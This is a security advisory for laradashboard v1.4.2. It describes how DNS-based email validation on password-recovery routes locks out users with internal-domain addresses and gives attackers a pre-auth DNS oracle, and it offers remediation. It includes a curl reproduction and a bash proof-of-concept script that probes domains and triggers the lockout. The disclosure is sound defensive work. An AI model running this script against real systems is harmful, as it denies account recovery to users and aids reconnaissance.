All vulnerabilities
GHSA-v36p-8578-8gch

laradashboard/laradashboard: Password-Recovery Path Domain-Gated → Valid-User Lockout DoS + Pre-Auth DNS Oracle

laradashboard/laradashboard
CVSS
8.2High
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed inNone listedNo source names a fixed version yet
Published3 Oct 2026Updated 3 Oct 2026GitHub

What fixes it

No source in this snapshot names a fixed version.

Description

Password-Recovery Path Domain-Gated → Valid-User Lockout DoS + Pre-Auth DNS Oracle

  • Severity: CVSS AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H
  • CWE: 306 / 642 (control flow path mishandling → unavail) + DNS oracle
  • Affected: v1.4.2 (new); ForgotPasswordRequest, ResetPasswordRequest, EmailSubmissionValidator, EmailDomainCheckService

Summary

Forgot/reset password routes now run PublicFormGuardService::mergeRules, which calls EmailSubmissionValidator — and EmailDomainCheckService permanently rejects domains where checkdnsrr($domain, 'MX') fails:

// ForgotPasswordRequest.php:22-27
return app(PublicFormGuardService::class)->mergeRules(['email' => ['required','email']], emailFields: ['email']);
// EmailSubmissionValidator.php:70-74 + :123 — permanent reject on disposable/blocked
// EmailDomainCheckService.php:116-129 — DNS lookup

Consequence: **any user whose email domain has internal-only MX records (e.g. admin@corp.local) can never request a password reset** — the validation rule rejects before the broker fires. Only an authenticated admin with settings.edit + correct mail config can workaround. A similar attack applies to the first registration of such an email: POST /register → validation block.

Secondary impact: attacker triggers DNS lookups for arbitrarily chosen domains via POST /password/email (20/min throttle; each resolves MX → slow-DoS tie-up of workers via DNS timeout).

Reproduction

curl -X POST 'http://<app>/password/email' -d "_token=<csrf>&email=admin@corp.local"
# → 422 "email" validation error before the mail broker is contacted
# (the DNS lookup for corp.local either times out or returns no MX)

Impact

  • Valid-user DoS: accounts with internal-only email domains are permanently locked out of password recovery (only Superadmin-manual reset possible).
  • DNS oracle: attacker learns which domains resolve MX for a given company (pre-auth recon).
  • Slow-DNS worker saturation tied to the HTTP throttle budget (20/min), reducing availability of public auth routes.

Remediation

  1. Do not apply EmailSubmissionValidator on recovery routes; these are not "public submissions" — apply only on registration/public forms.
  2. If domain-restriction is desired for registration, implement it as a setting-gated allow-list, not a DNS-dependent permanent reject.
  3. DNS oracle: use async DNS or short timeouts; do not reject based on DNS failure (treat as pass or quarantine).

PoC

Script

#!/usr/bin/env bash
# N-04: Reset path domain-gate → valid-admin lockout + DNS oracle
set -eu
BASE="${BASE_URL:?Set BASE_URL to running app}"
INTERNAL_ADMIN="${INTERNAL_ADMIN:-admin@corp.local}"
CSRF=$(curl -sS "$BASE/password/email" | grep -oP 'name="_token"[^>]*value="\K[^"]+' | head -1)

echo "[1/2] Reset for valid internal-domain admin..."
curl -sS -X POST "$BASE/password/email" \
  -d "_token=$CSRF&email=$INTERNAL_ADMIN" -D - -o /dev/null \
  | grep -iE 'HTTP/|422' | head -3
echo "    → 422 validation — broker never fires"

echo "[2/2] DNS oracle — does attacker-chosen domain resolve MX?..."
for d in mobilecorp.xyz check.tag exists.example; do
  code=$(curl -sS -o /dev/null -w '%{http_code}' -X POST "$BASE/password/email" \
    -d "_token=$CSRF&email=probe@$d")
  echo "    domain $d → HTTP $code (302 = MX resolves)"
done
echo "[+] Done — internal-DNS admin permanently locked out of recovery."

Expected output

[1/2] Reset for valid internal-domain admin...
HTTP/1.1 422 Unprocessable Entity
    → 422 validation — broker never fires
[2/2] DNS oracle — does attacker-chosen domain resolve MX?...
    domain mobilecorp.xyz → HTTP 302 (MX resolves)
    domain check.tag → HTTP 302
    domain exists.example → HTTP 422 (no MX)
[+] Done — internal-DNS admin permanently locked out of recovery.

ForgotPasswordRequest.php:22-27 / ResetPasswordRequest.php:23-30 run EmailSubmissionValidator; EmailDomainCheckService.php:116-129 does a permanent (not quarantine) DNS-based reject on the recovery path.

Connect with the researcher: Evilord on LinkedIn

Text from GitHub Advisory Database

Affected versions 1

  • laradashboard/laradashboard, php,laravelv1.4.2 GitHub